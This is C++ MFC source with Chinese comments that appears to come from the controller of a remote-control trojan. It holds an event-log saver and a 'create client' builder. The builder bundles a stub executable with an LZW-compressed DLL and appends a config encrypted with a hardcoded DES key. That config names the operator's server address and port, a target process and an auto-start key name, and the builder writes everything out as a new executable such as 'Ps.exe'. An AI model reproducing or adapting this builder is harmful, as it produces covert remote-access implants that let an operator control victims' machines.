void CMainFrame::OnSaveListLog() { CString szFilter = "日志文件(*.txt)|*.txt|"; CFileDialog m_filedialog(FALSE,NULL,"pslog.txt", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this); if(m_filedialog.DoModal()!=IDOK) return; CFile m_File(m_filedialog.GetPathName(), CFile::modeCreate|CFile::modeWrite); int nCount = pEventView->GetListCtrl().GetSelectedCount(); for(int i = 0; i < pEventView-> GetListCtrl().GetItemCount(); i++) { char m_Text[512] = {0}; sprintf(m_Text,"发生时间:%s 事件内容:%s\r\n", pEventView->GetListCtrl().GetItemText(i,0), pEventView->GetListCtrl().GetItemText(i,1)); m_File.Write(m_Text,strlen(m_Text)); } m_File.Close(); }
void CMyCreateClientDlg::OnButtonCreate() { char m_IniFileName[256] = {0}; GetIniFileName(m_IniFileName); WritePrivateProfileString("设置","控制DLL文件", m_CtrlFile,m_IniFileName); if(!m_BakUrl.IsEmpty()) WritePrivateProfileString("设置","备份URL名称", m_BakUrl,m_IniFileName); //取目标文件名称 CString szFilter = "可执行文件(*.exe)|*.exe|"; CFileDialog m_filedialog(FALSE,NULL,"Ps.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this); if(m_filedialog.DoModal() != IDOK) return; m_StartFile = m_filedialog.GetFileName(); CString strFilePath = m_filedialog.GetPathName(); //取EXE文件和DLL文件名称 char m_ExeFileName[512] = "PcStat.exe"; GetMyFilePath(m_ExeFileName); char m_DllFileName[512] = "PcClient.dll"; GetMyFilePath(m_DllFileName); BYTE* pExeFileData = NULL; BYTE* pDllFileData = NULL; DWORD m_ExeSize = 0; DWORD m_DllSize = 0; //取EXE文件数据 CFile m_File; if(!m_File.Open(m_ExeFileName,CFile::modeRead)) { MessageBox("缺少文件pcstat.exe","错误"); return; } m_ExeSize = m_File.GetLength(); pExeFileData = new BYTE[m_ExeSize]; m_File.Read(pExeFileData,m_ExeSize); m_File.Close(); //取DLL文件数据 if(!m_File.Open(m_DllFileName,CFile::modeRead)) { delete [] pExeFileData; MessageBox("缺少文件pcclient.dll","错误"); return; } m_DllSize = m_File.GetLength(); pDllFileData = new BYTE[m_DllSize]; m_File.Read(pDllFileData,m_DllSize); m_File.Close(); //压缩数据 BYTE* pDest = new BYTE[m_DllSize * 2]; memset(pDest , 0 , m_DllSize * 2); BYTE* pSrc = pDllFileData; BYTE* pCurr = pDest; //生成的文件的结构: //pcstat.exe文件内容 pcclient.dll内容 SSH 压缩前dll大小 生成的用户名 压缩后的的PcClient.dll内容 加密后的启动内容 //写头 ::lstrcpyA ((char*)pDest, "SSH") ; pCurr += 8 ; * (WORD *) pCurr = 16 ; pCurr += 2 ; * (WORD *) pCurr = 0 ; pCurr += 2 ; * (DWORD *) pCurr = m_DllSize ; pCurr += 4 ; pCurr += 8 ; // 文件名 * (WORD *) pCurr = ::lstrlen (m_StartFile) ; ::lstrcpy ((char *) pCurr+2, m_StartFile) ; pCurr += * (WORD *) pCurr + 2 ; //压缩 DWORD dwCounter = ::GetTickCount () ; FCLzw fLzw ; pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ; dwCounter = ::GetTickCount () - dwCounter ; * (DWORD *) &pDest[16] = dwCounter ; //启动信息 INITDLLINFO m_InitInfo = {0}; m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50); strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile); m_InitInfo.m_ProcessName[0] = m_Proc; strcpy(m_InitInfo.m_StartFile,m_StartFile); m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0; strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile); m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0; strcat(m_InitInfo.m_StartFile, ".dll"); m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port)); m_InitInfo.m_DllFileLen = pCurr - pDest; //DES加密信息 INITDLLINFO m_InitFileInfo = {0}; char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb"; Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT_);//加密 //创建目标文件 //m_StartFile.Insert(0, _T("e:\\")); if(!m_File.Open(strFilePath, CFile::modeCreate|CFile::modeWrite)) { delete [] pExeFileData; delete [] pDllFileData; delete [] pDest; MessageBox("无法创建文件",m_StartFile.GetString()); return; } m_File.Write(pExeFileData,m_ExeSize); m_File.Write(pDest,m_InitInfo.m_DllFileLen); m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO)); m_File.Close(); delete [] pExeFileData; delete [] pDllFileData; delete [] pDest; MessageBox("生成客户端成功", "提示"); }